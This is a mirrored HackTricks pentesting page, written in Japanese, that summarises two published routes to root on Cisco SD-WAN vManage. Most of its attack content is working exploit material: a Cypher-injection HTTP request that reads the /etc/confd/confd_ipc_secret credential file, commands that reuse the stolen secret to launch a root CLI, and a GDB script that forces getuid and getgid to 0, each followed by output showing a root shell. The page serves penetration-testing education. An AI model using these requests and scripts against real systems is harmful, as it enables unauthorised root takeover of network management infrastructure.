mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
167 lines
11 KiB
Markdown
167 lines
11 KiB
Markdown
# Cisco - vmanage
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* サイバーセキュリティ会社で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||
|
||
</details>
|
||
|
||
## パス1
|
||
|
||
(例:[https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)からの例)
|
||
|
||
`confd`および異なるバイナリに関連する[ドキュメント](http://66.218.245.39/doc/html/rn03re18.html)を少し掘り下げた後(Ciscoのウェブサイトのアカウントでアクセス可能)、IPCソケットを認証するために、`/etc/confd/confd_ipc_secret`にあるシークレットを使用することがわかりました。
|
||
```
|
||
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
|
||
|
||
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
|
||
```
|
||
私たちのNeo4jインスタンスを覚えていますか?それは`vmanage`ユーザーの特権で実行されているため、前の脆弱性を利用してファイルを取得することができます。
|
||
```
|
||
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
|
||
|
||
Host: vmanage-XXXXXX.viptela.net
|
||
|
||
|
||
|
||
[...]
|
||
|
||
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
|
||
```
|
||
`confd_cli`プログラムはコマンドライン引数をサポートしていませんが、引数を指定して`/usr/bin/confd_cli_user`を呼び出します。したがって、独自の引数を指定して`/usr/bin/confd_cli_user`を直接呼び出すことができます。ただし、現在の権限では読み取ることができないため、rootfsから取得し、scpを使用してコピーし、ヘルプを読み取り、シェルを取得するために使用する必要があります。
|
||
```
|
||
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
|
||
|
||
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
|
||
|
||
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
|
||
|
||
Welcome to Viptela CLI
|
||
|
||
admin connected from 127.0.0.1 using console on vManage
|
||
|
||
vManage# vshell
|
||
|
||
vManage:~# id
|
||
|
||
uid=0(root) gid=0(root) groups=0(root)
|
||
```
|
||
## パス2
|
||
|
||
(例:[https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)からの例)
|
||
|
||
synacktivチームによるブログ¹では、ルートシェルを取得するためのエレガントな方法が説明されていますが、注意点として、ルートユーザーのみが読み取り可能な`/usr/bin/confd_cli_user`のコピーを取得する必要があります。私は、そのような手間をかけずにルートへの昇格方法を別の方法で見つけました。
|
||
|
||
`/usr/bin/confd_cli`バイナリを逆アセンブルしたところ、以下のことがわかりました:
|
||
```
|
||
vmanage:~$ objdump -d /usr/bin/confd_cli
|
||
… snipped …
|
||
40165c: 48 89 c3 mov %rax,%rbx
|
||
40165f: bf 1c 31 40 00 mov $0x40311c,%edi
|
||
401664: e8 17 f8 ff ff callq 400e80 <getenv@plt>
|
||
401669: 49 89 c4 mov %rax,%r12
|
||
40166c: 48 85 db test %rbx,%rbx
|
||
40166f: b8 dc 30 40 00 mov $0x4030dc,%eax
|
||
401674: 48 0f 44 d8 cmove %rax,%rbx
|
||
401678: 4d 85 e4 test %r12,%r12
|
||
40167b: b8 e6 30 40 00 mov $0x4030e6,%eax
|
||
401680: 4c 0f 44 e0 cmove %rax,%r12
|
||
401684: e8 b7 f8 ff ff callq 400f40 <getuid@plt> <-- HERE
|
||
401689: 89 85 50 e8 ff ff mov %eax,-0x17b0(%rbp)
|
||
40168f: e8 6c f9 ff ff callq 401000 <getgid@plt> <-- HERE
|
||
401694: 89 85 44 e8 ff ff mov %eax,-0x17bc(%rbp)
|
||
40169a: 8b bd 68 e8 ff ff mov -0x1798(%rbp),%edi
|
||
4016a0: e8 7b f9 ff ff callq 401020 <ttyname@plt>
|
||
4016a5: c6 85 cf f7 ff ff 00 movb $0x0,-0x831(%rbp)
|
||
4016ac: 48 85 c0 test %rax,%rax
|
||
4016af: 0f 84 ad 03 00 00 je 401a62 <socket@plt+0x952>
|
||
4016b5: ba ff 03 00 00 mov $0x3ff,%edx
|
||
4016ba: 48 89 c6 mov %rax,%rsi
|
||
4016bd: 48 8d bd d0 f3 ff ff lea -0xc30(%rbp),%rdi
|
||
4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt>
|
||
… snipped …
|
||
```
|
||
「ps aux」と実行すると、以下のような結果が表示されます(_注意:-g 100 -u 107_)
|
||
```
|
||
vmanage:~$ ps aux
|
||
… snipped …
|
||
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
|
||
… snipped …
|
||
```
|
||
私は、「confd_cli」プログラムがログインユーザーから収集したユーザーIDとグループIDを「cmdptywrapper」アプリケーションに渡すと仮定しました。
|
||
|
||
最初の試みは、「cmdptywrapper」を直接実行し、`-g 0 -u 0`を指定することでしたが、失敗しました。どこかでファイルディスクリプタ(-i 1015)が作成され、それを偽装することができません。
|
||
|
||
synacktivのブログ(最後の例)で述べられているように、「confd_cli」プログラムはコマンドライン引数をサポートしていませんが、デバッガを使用して影響を与えることができます。幸運なことに、システムにはGDBが含まれています。
|
||
|
||
私はGDBスクリプトを作成し、APIの「getuid」と「getgid」を0を返すように強制しました。既にシリアライズRCEを介して「vmanage」特権を持っているため、直接「/etc/confd/confd_ipc_secret」を読む権限があります。
|
||
|
||
root.gdb:
|
||
```
|
||
set environment USER=root
|
||
define root
|
||
finish
|
||
set $rax=0
|
||
continue
|
||
end
|
||
break getuid
|
||
commands
|
||
root
|
||
end
|
||
break getgid
|
||
commands
|
||
root
|
||
end
|
||
run
|
||
```
|
||
コンソール出力:
|
||
```
|
||
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
|
||
GNU gdb (GDB) 8.0.1
|
||
Copyright (C) 2017 Free Software Foundation, Inc.
|
||
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
|
||
This is free software: you are free to change and redistribute it.
|
||
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
|
||
and "show warranty" for details.
|
||
This GDB was configured as "x86_64-poky-linux".
|
||
Type "show configuration" for configuration details.
|
||
For bug reporting instructions, please see:
|
||
<http://www.gnu.org/software/gdb/bugs/>.
|
||
Find the GDB manual and other documentation resources online at:
|
||
<http://www.gnu.org/software/gdb/documentation/>.
|
||
For help, type "help".
|
||
Type "apropos word" to search for commands related to "word"...
|
||
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
|
||
Breakpoint 1 at 0x400f40
|
||
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
|
||
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
|
||
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
|
||
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
|
||
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
|
||
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
|
||
0x0000000000401871 in ?? ()
|
||
Welcome to Viptela CLI
|
||
root connected from 127.0.0.1 using console on vmanage
|
||
vmanage# vshell
|
||
bash-4.4# whoami ; id
|
||
root
|
||
uid=0(root) gid=0(root) groups=0(root)
|
||
bash-4.4#
|
||
```
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **ハッキングのトリックを共有する**には、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||
|
||
</details>
|